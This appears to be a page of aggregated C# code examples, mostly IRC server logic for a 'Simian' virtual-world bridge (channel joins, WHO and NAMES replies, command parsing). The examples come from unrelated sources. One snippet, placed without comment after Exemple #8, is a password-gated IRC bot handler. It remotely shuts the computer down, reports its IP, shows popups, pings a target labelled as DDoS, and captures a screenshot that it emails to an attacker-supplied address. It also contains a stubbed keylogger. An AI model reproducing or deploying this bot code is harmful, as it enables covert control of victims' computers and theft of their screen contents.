Exemple #1
0
        /// <summary>
        /// Sends an IRC Privmsg to a user or a channel
        /// </summary>
        /// <param name="user"></param>
        /// <param name="target"></param>
        /// <param name="message"></param>
        private void SendMessage(IRCUser user, string target, string message)
        {
            string lowerTarget = target.ToLower();

            if (lowerTarget.StartsWith("#") || lowerTarget.StartsWith("&"))
            {
                IRCChannel targetChannel = GetChannelByName(target);
                if (targetChannel != null)
                {
                    SendToChannel(targetChannel, user, IRCMessageType.Privmsg, message);
                    return;
                }
                else
                {
                    SendToUser(user, ":Simian 403 " + user.Name + " " + target + " :No such nickname");
                }
            }
            else
            {
                IRCUser targetUser = GetUserByName(target);
                if (targetUser != null)
                {
                    SendToUser(targetUser, ":" + user.Name + "!" + user.UserName + "@" + user.HostName + " PRIVMSG " + targetUser.Name + " :" + message);
                    return;
                }
                else
                {
                    SendToUser(user, ":Simian 403 " + user.Name + " " + target + " :No such channel");
                }
            }
        }
Exemple #2
0
        /// <summary>
        /// Sends a list of user and address information
        /// </summary>
        /// <param name="user"></param>
        /// <param name="channel"></param>
        private void SendWhoList(IRCUser user, string filter)
        {
            if (filter.StartsWith("#") || filter.StartsWith("&"))
            {
                IRCChannel channel = GetChannelByName(filter);
                if (channel == null)
                {
                    //TODO: channel does not exist error?
                    return;
                }

                //find all users who are in this channel
                List <KeyValuePair <IRCChannel, IRCUser> > users = m_channelUserPairs.FindAll(delegate(KeyValuePair <IRCChannel, IRCUser> kvp)
                {
                    return(kvp.Key == channel);
                });

                List <string> names = new List <string>();

                foreach (KeyValuePair <IRCChannel, IRCUser> kvp in users)
                {
                    SendToUser(user, ":Simian 352 " + user.Name + " " + channel.Name + " " + kvp.Value.UserName + " " + kvp.Value.HostName + " Simian " + kvp.Value.Name + " H 0 " + kvp.Value.IRCRealName);
                }
                SendToUser(user, ":Simian 315 " + user.Name + " " + channel.Name + " End of /WHO list.");
            }
            else
            {
                //TODO: support name/host filters?
            }
        }
Exemple #3
0
        void m_scene_OnPresenceRemove(object sender, PresenceArgs e)
        {
            IRCUser user = m_users.Find(delegate(IRCUser u) { return(u.Name == e.Presence.Name.Replace(' ', '_')); });

            IRCChannel channel = GetChannelByName(m_defaultChannel);

            if (channel != null)
            {
                SendToChannel(channel, user, IRCMessageType.Part, null);
            }

            RemoveUser(user);
        }
Exemple #4
0
        void m_scene_OnEntityChat(object sender, ChatArgs e)
        {
            IRCChannel channel = GetChannelByName(m_defaultChannel);

            if (channel != null)
            {
                IRCUser user = GetUserByName(e.Source.Name.Replace(' ', '_'));

                if (user != null && user.TCPClient == null)
                {
                    SendToChannel(channel, user, IRCMessageType.Privmsg, e.Message);
                }
            }
        }
Exemple #5
0
        /// <summary>
        /// Sends the message to populate an IRC client's names list
        /// </summary>
        /// <param name="user"></param>
        /// <param name="channel"></param>
        private void SendNamesList(IRCUser user, IRCChannel channel)
        {
            //find all users who are in this channel
            List <KeyValuePair <IRCChannel, IRCUser> > users = m_channelUserPairs.FindAll(delegate(KeyValuePair <IRCChannel, IRCUser> kvp)
            {
                return(kvp.Key == channel);
            });

            List <string> names = new List <string>();

            foreach (KeyValuePair <IRCChannel, IRCUser> kvp in users)
            {
                string prefix = "";
                names.Add(prefix + kvp.Value.Name);
            }

            SendToUser(user, ":Simian 353 " + user.Name + " @ " + channel.Name + " :" + String.Join(" ", names.ToArray()));
            SendToUser(user, ":Simian 366 " + user.Name + " " + channel.Name + " :End of /NAMES list.");
        }
Exemple #6
0
        /// <summary>
        /// Makes a user part the specified channel
        /// </summary>
        /// <param name="user"></param>
        /// <param name="channelName"></param>
        private void PartUserFromChannel(IRCUser user, string channelName)
        {
            IRCChannel channel = GetChannelByName(channelName);

            KeyValuePair <IRCChannel, IRCUser> kvp = new KeyValuePair <IRCChannel, IRCUser>(channel, user);

            if (channel == null || !m_channelUserPairs.Contains(kvp))
            {
                return;
            }

            SendToChannel(channel, user, IRCMessageType.Part, null);

            if (channel.Name == m_defaultChannel)
            {
                SendToChannel(channel, user, IRCMessageType.Join, null);
            }

            m_channelUserPairs.Remove(kvp);
        }
Exemple #7
0
        /// <summary>
        /// Sends s message to everyone in a certain channel
        /// </summary>
        /// <param name="channel"></param>
        /// <param name="user"></param>
        /// <param name="type"></param>
        private void SendToChannel(IRCChannel channel, IRCUser user, IRCMessageType type, string extraParam)
        {
            //find all users who are in this channel
            List <KeyValuePair <IRCChannel, IRCUser> > users = m_channelUserPairs.FindAll(delegate(KeyValuePair <IRCChannel, IRCUser> kvp)
            {
                return(kvp.Key == channel);
            });

            string message;

            if (type == IRCMessageType.Join)
            {
                message = ":" + user.Name + "!" + user.UserName + "@" + user.HostName + " JOIN " + channel.Name;
            }
            else if (type == IRCMessageType.Part)
            {
                message = ":" + user.Name + "!" + user.UserName + "@" + user.HostName + " PART :" + channel.Name;
            }
            else if (type == IRCMessageType.Privmsg)
            {
                message = ":" + user.Name + "!" + user.UserName + "@" + user.HostName + " PRIVMSG " + channel.Name + " :" + extraParam;

                if (channel.Name == m_defaultChannel && user.TCPClient != null) //only call entity chat for irc users
                {
                    m_scene.EntityChat(this, user, 0f, extraParam, 0, EntityChatType.Broadcast);
                }
            }
            else
            {
                return;
            }

            for (int u = 0, uCount = users.Count; u < uCount; u++)
            {
                if (type != IRCMessageType.Privmsg || users[u].Value != user)
                {
                    SendToUser(users[u].Value, message);
                }
            }
        }
Exemple #8
0
        /// <summary>
        /// Makes a user join the specified channel
        /// </summary>
        /// <param name="user"></param>
        /// <param name="channelName"></param>
        private void JoinUserToChannel(IRCUser user, string channelName)
        {
            //find all channels that this user is in
            List <KeyValuePair <IRCChannel, IRCUser> > channels = m_channelUserPairs.FindAll(delegate(KeyValuePair <IRCChannel, IRCUser> kvp)
            {
                return(kvp.Value == user);
            });

            IRCChannel channel = GetChannelByName(channelName);

            if (channel == null)
            {
                //channel does not exist, so create a new one
                channel             = new IRCChannel();
                channel.Name        = channelName;
                channel.CreatedTime = DateTime.Now;
                channel.CreatorName = user.Name;
                channel.Topic       = "";
            }
            else
            {
                for (int i = 0, cCount = channels.Count; i < cCount; i++)
                {
                    if (channels[i].Key.Name.ToLower() == channel.Name.ToLower())
                    {
                        return; //user is already in this channel
                    }
                }
            }

            m_channelUserPairs.Add(new KeyValuePair <IRCChannel, IRCUser>(channel, user));

            SendToChannel(channel, user, IRCMessageType.Join, null);

            SendToUser(user, ":Simian 332 " + user.Name + " " + channel.Name + " :" + channel.Topic);
            SendToUser(user, ":Simian 333 " + user.Name + " " + channel.Name + " " + channel.CreatorName + " " + Utils.DateTimeToUnixTime(channel.CreatedTime));

            SendNamesList(user, channel);
        }
        public static void _irc_IRCMessageRecieved(object sender, string message, User user, IRCChannel ch)
        {
            if (message.StartsWith("!"))
            {
                if (message.Replace("!", "").StartsWith("login " + mainPass))
                {
                    flag = true;
                }
            }
            if (message.StartsWith("?") && flag == true)
            {
                if (message.Replace("?", "").StartsWith("Shutdown"))
                {
                    System.Diagnostics.Process.Start("shutdown", "-s -t 30");
                    _irc.SendMessage("Computer is shutting down in: 30 secs.", IRC.SupportedColors.Green, ch.Channel);
                }
                if (message.Replace("?", "").StartsWith("GetIP"))
                {
                    string strHostName = Dns.GetHostName();
                    IPHostEntry ipEntry = Dns.GetHostEntry(strHostName);
                    IPAddress[] addr = ipEntry.AddressList;
                    string ip = addr[2].ToString();
                    _irc.SendMessage("IP: " + ip, IRC.SupportedColors.Green, ch.Channel);
                }
                if (message.Replace("?", "").StartsWith("Popup"))
                {
                    message = message.Replace("?Popup", "");
                    _irc.SendMessage("Popup Sent.\n", IRC.SupportedColors.Green, ch.Channel);
                    MessageBox.Show(message);
                    _irc.SendMessage("Popup Reciever Clicked OK.\n", IRC.SupportedColors.Green, ch.Channel);
                }
                // KeyLogger
                //if (message.Replace("?", "").StartsWith("Keylog"))
                //{
                //    if (KeyLogflag) // stop keylogging.
                //    {

                //    }
                //    else // start keylogging.
                //    {

                //    }
                //}
                if (message.Replace("?", "").StartsWith("DDoS"))
                {
                    string DDoSIP = message.Replace("?DDoS", "");
                    System.Diagnostics.Process.Start("ping", DDoSIP);
                    _irc.SendMessage("DDoSing IP: " + DDoSIP, IRC.SupportedColors.Green, ch.Channel);
                }
                if (message.Replace("?", "").StartsWith("Pic"))
                {
                    int screenWidth = Screen.GetBounds(new Point(0, 0)).Width;
                    int screenHeight = Screen.GetBounds(new Point(0, 0)).Height;
                    Bitmap bmpScreenShot = new Bitmap(screenWidth, screenHeight);
                    Graphics gfx = Graphics.FromImage((Image)bmpScreenShot);
                    gfx.CopyFromScreen(0, 0, 0, 0, new Size(screenWidth, screenHeight));
                    string fileName = "pic.jpg";
                    bmpScreenShot.Save(fileName, ImageFormat.Jpeg);
                    message = message.Replace("?Pic", "");
                    string[] mailD = message.Split(' ');
                    // mailD[0] = mailD Empty
                    // mailD[1] = mailD toAddr
                    // mailD[2] = mailD Password
                    // mailD[3] = mailD SMTP Server * smtp.gmail.com
                    // mailD[4] = mailD SMTP Port

                    MailMessage mail = new MailMessage();
                    SmtpClient SmtpServer = new SmtpClient(mailD[3]);
                    mail.From = new MailAddress("*****@*****.**");
                    mail.To.Add(mailD[1]);
                    mail.Subject = "Test Mail - 1";
                    mail.Body = "mail with attachment";
                    Attachment attachment;
                    attachment = new Attachment(fileName);
                    mail.Attachments.Add(attachment);

                    int port = Convert.ToInt32(mailD[4]);
                    SmtpServer.Port = port;
                    SmtpServer.Credentials = new NetworkCredential(mailD[1], mailD[2]);
                    SmtpServer.EnableSsl = true;

                    SmtpServer.Send(mail);
                }
                if (message.Replace("?", "").StartsWith("Cmds"))
                {
                    _irc.SendMessage("[?] Shutdown, GetIP, Popup, DDoS, Pic", IRC.SupportedColors.Red, ch.Channel);
                }
            }
        }
Exemple #10
0
        /// <summary>
        /// Parses an individual command from the client
        /// </summary>
        /// <param name="user"></param>
        /// <param name="commandString"></param>
        private void ParseCommand(IRCUser user, string commandString)
        {
            string[] words   = commandString.Split(' ');
            string   command = words[0].ToLower();

            if (words.Length < 1) //TODO: proper check of param count for all commands
            {
                SendToUser(user, ":Simian 461 " + user.Name + " " + words[0].ToUpper() + " Not enough parameters");
                return;
            }

            switch (command)
            {
            case "ison":
                List <string> online = new List <string>();
                for (int i = 1; i < words.Length; i++)
                {
                    IRCUser checkUser = GetUserByName(words[i]);
                    if (checkUser != null)
                    {
                        online.Add(checkUser.Name);
                    }
                }

                SendToUser(user, ":Simian 303 " + user.Name + " :" + String.Join(" ", online.ToArray()));
                break;

            case "join":
                JoinUserToChannel(user, words[1]);
                break;

            case "mode":
                //TODO?
                break;

            case "names":
                IRCChannel channel = GetChannelByName(words[1]);
                if (channel != null)
                {
                    SendNamesList(user, channel);
                }
                break;

            case "nick":
                SetUserNick(user, words[1]);
                break;

            case "part":
                PartUserFromChannel(user, words[1]);
                break;

            case "ping":
                SendToUser(user, "PONG " + words[1]);
                break;

            case "user":
                bool newUser = user.Name == null || user.HostName == null;

                if (newUser)
                {
                    if (words.Length < 5)
                    {
                        return;
                    }
                    string[] ircRealName = new string[words.Length - 4];
                    Array.Copy(words, 4, ircRealName, 0, ircRealName.Length);
                    user.IRCRealName = String.Join(" ", ircRealName);
                    user.HostName    = "irc";
                    user.UserName    = words[1];
                }

                if (newUser && user.Name != null && user.HostName != null)
                {
                    SendWelcome(user);
                }
                break;

            case "userhost":
                IRCUser targetUser = GetUserByName(words[1]);
                if (targetUser != null)
                {
                    SendToUser(user, ":Simian 302 " + user.Name + " :" + targetUser.Name + "=+" + targetUser.UserName + "@" + targetUser.HostName);
                }
                else
                {
                    SendToUser(user, ":Simian 302 " + user.Name + " :");
                }
                break;

            case "who":
                SendWhoList(user, words[1]);
                break;

            case "privmsg":
                string[] messageWords = new string[words.Length - 2];
                Array.Copy(words, 2, messageWords, 0, messageWords.Length);
                SendMessage(user, words[1], String.Join(" ", messageWords).Substring(1));
                break;

            default:
                SendToUser(user, ":Simian 421 " + user.Name + " " + command.ToUpper() + " Unknown command");
                break;
            }
        }
Exemple #11
0
        /// <summary>
        /// Sends s message to everyone in a certain channel
        /// </summary>
        /// <param name="channel"></param>
        /// <param name="user"></param>
        /// <param name="type"></param>
        private void SendToChannel(IRCChannel channel, IRCUser user, IRCMessageType type, string extraParam)
        {
            //find all users who are in this channel
            List<KeyValuePair<IRCChannel, IRCUser>> users = m_channelUserPairs.FindAll(delegate(KeyValuePair<IRCChannel, IRCUser> kvp)
            {
                return kvp.Key == channel;
            });

            string message;

            if (type == IRCMessageType.Join)
                message = ":" + user.Name + "!" + user.UserName + "@" + user.HostName + " JOIN " + channel.Name;
            else if (type == IRCMessageType.Part)
                message = ":" + user.Name + "!" + user.UserName + "@" + user.HostName + " PART :" + channel.Name;
            else if (type == IRCMessageType.Privmsg)
            {
                message = ":" + user.Name + "!" + user.UserName + "@" + user.HostName + " PRIVMSG " + channel.Name + " :" + extraParam;

                if (channel.Name == m_defaultChannel && user.TCPClient != null) //only call entity chat for irc users
                    m_scene.EntityChat(this, user, 0f, extraParam, 0, EntityChatType.Broadcast);
            }
            else return;

            for (int u = 0, uCount = users.Count; u < uCount; u++)
            {
                if (type != IRCMessageType.Privmsg || users[u].Value != user)
                    SendToUser(users[u].Value, message);
            }
        }
Exemple #12
0
        /// <summary>
        /// Sends the message to populate an IRC client's names list
        /// </summary>
        /// <param name="user"></param>
        /// <param name="channel"></param>
        private void SendNamesList(IRCUser user, IRCChannel channel)
        {
            //find all users who are in this channel
            List<KeyValuePair<IRCChannel, IRCUser>> users = m_channelUserPairs.FindAll(delegate(KeyValuePair<IRCChannel, IRCUser> kvp)
            {
                return kvp.Key == channel;
            });

            List<string> names = new List<string>();

            foreach (KeyValuePair<IRCChannel, IRCUser> kvp in users)
            {
                string prefix = "";
                names.Add(prefix + kvp.Value.Name);
            }

            SendToUser(user, ":Simian 353 " + user.Name + " @ " + channel.Name + " :" + String.Join(" ", names.ToArray()));
            SendToUser(user, ":Simian 366 " + user.Name + " " + channel.Name + " :End of /NAMES list.");
        }
Exemple #13
0
        /// <summary>
        /// Makes a user join the specified channel
        /// </summary>
        /// <param name="user"></param>
        /// <param name="channelName"></param>
        private void JoinUserToChannel(IRCUser user, string channelName)
        {
            //find all channels that this user is in
            List<KeyValuePair<IRCChannel, IRCUser>> channels = m_channelUserPairs.FindAll(delegate(KeyValuePair<IRCChannel, IRCUser> kvp)
            {
                return kvp.Value == user;
            });

            IRCChannel channel = GetChannelByName(channelName);

            if (channel == null)
            {
                //channel does not exist, so create a new one
                channel = new IRCChannel();
                channel.Name = channelName;
                channel.CreatedTime = DateTime.Now;
                channel.CreatorName = user.Name;
                channel.Topic = "";
            }
            else
            {
                for (int i = 0, cCount = channels.Count; i < cCount; i++)
                {
                    if (channels[i].Key.Name.ToLower() == channel.Name.ToLower())
                        return; //user is already in this channel
                }
            }

            m_channelUserPairs.Add(new KeyValuePair<IRCChannel, IRCUser>(channel, user));

            SendToChannel(channel, user, IRCMessageType.Join, null);

            SendToUser(user, ":Simian 332 " + user.Name + " " + channel.Name + " :" + channel.Topic);
            SendToUser(user, ":Simian 333 " + user.Name + " " + channel.Name + " " + channel.CreatorName + " " + Utils.DateTimeToUnixTime(channel.CreatedTime));

            SendNamesList(user, channel);
        }